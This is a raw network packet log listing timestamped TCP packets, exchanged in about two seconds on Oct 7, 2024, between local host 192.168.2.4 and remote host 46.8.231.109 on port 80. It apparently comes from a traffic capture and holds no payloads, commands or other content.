Oct 7, 2024 03:03:09.852335930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852349043 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852356911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852379084 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.852395058 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.852467060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852508068 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.852649927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852658033 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852672100 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852679014 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852686882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852699041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852708101 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.852731943 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.852796078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852803946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852817059 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852850914 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.852987051 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852993965 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853002071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853008986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853017092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853024960 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853033066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853037119 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.853040934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853049994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.853069067 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.853081942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.853159904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853168011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853176117 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853183031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853209019 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.853229046 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.853547096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853554964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853569031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853575945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853590012 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853598118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853602886 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.853606939 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853610992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.853631973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.853652954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.853688002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853696108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853708982 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853717089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853725910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853739023 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853740931 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.853768110 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.853895903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853904963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853916883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853925943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853933096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853940964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853949070 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.853954077 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853961945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853966951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.853971004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853980064 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.853986979 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.854006052 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.854020119 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.940716028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.940728903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.940745115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.940802097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.940828085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.940845013 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.940857887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.940880060 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.940907955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.940999985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941008091 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941020966 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941028118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941035032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941042900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941049099 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.941075087 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.941158056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941167116 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941206932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.941307068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941314936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941323042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941329002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941338062 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941344976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941365004 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.941375971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.941399097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.941473007 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941482067 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941494942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941503048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941510916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941526890 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.941549063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.941608906 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941617966 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941627026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941644907 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.941670895 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.941766977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941870928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.941903114 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941910982 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941925049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941931009 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.941948891 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.941972017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.941992044 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.942071915 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942081928 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942099094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942112923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942115068 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.942123890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942136049 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.942138910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942166090 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.942176104 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.942332983 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942342997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942351103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942358017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942365885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942373037 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942378998 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.942380905 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942421913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.942446947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.942460060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942468882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942507029 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.942647934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942655087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942670107 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942677021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942694902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.942725897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.942796946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942806005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942817926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942826033 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942831993 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942845106 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942848921 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.942852974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942872047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.942884922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.942915916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942925930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942934036 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.942955017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.942965984 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.943263054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943269968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943284035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943290949 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943315029 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.943341017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.943429947 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943439960 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943453074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943468094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943480968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.943502903 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.943578959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943588018 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943623066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.943727970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943736076 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943756104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943763018 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943770885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943785906 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.943809032 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.943892002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943901062 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943913937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943922997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943929911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.943938971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.943953991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.944227934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944236040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944247961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944257021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944264889 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944276094 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.944277048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944286108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944293976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944303036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.944315910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.944331884 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.944380999 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944387913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944428921 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.944572926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944581985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944596052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944602966 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944611073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944622993 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.944626093 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944634914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944645882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944649935 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.944653988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944667101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944670916 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.944674015 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944689989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.944711924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944713116 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.944722891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944736958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944745064 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944752932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944763899 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.944767952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.944791079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.944813967 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.945139885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.945224047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.031162977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031208038 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031234026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031244040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031255960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.031260967 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031270027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031284094 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.031287909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031299114 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031307936 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.031321049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031328917 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031337023 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031338930 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.031344891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031354904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031363010 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.031400919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.031507969 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031533003 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031539917 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031553030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031555891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031558990 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.031594992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.031605959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.031631947 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031640053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031656981 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031677008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.031702995 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.031714916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031723022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031730890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031739950 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031749010 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.031778097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.031882048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031889915 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031904936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031913996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031929016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031932116 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.031939030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031941891 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.031949043 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.031960964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.031972885 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.031984091 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.032079935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032088041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032104969 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032130957 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.032139063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.032170057 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032177925 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032193899 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032202005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032216072 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.032239914 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.032320023 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032329082 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032344103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032351971 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032366991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.032367945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032377958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032386065 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032392025 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.032394886 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032409906 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.032432079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.032618046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032639980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032648087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032660961 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.032665014 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032674074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032680988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032685041 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.032689095 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032696009 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.032696962 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032706022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032713890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032713890 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.032721996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032725096 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.032730103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032738924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032742977 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.032754898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.032772064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.032964945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032973051 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.032991886 CEST	80	49731	46.8.231.109	192.168.2.4
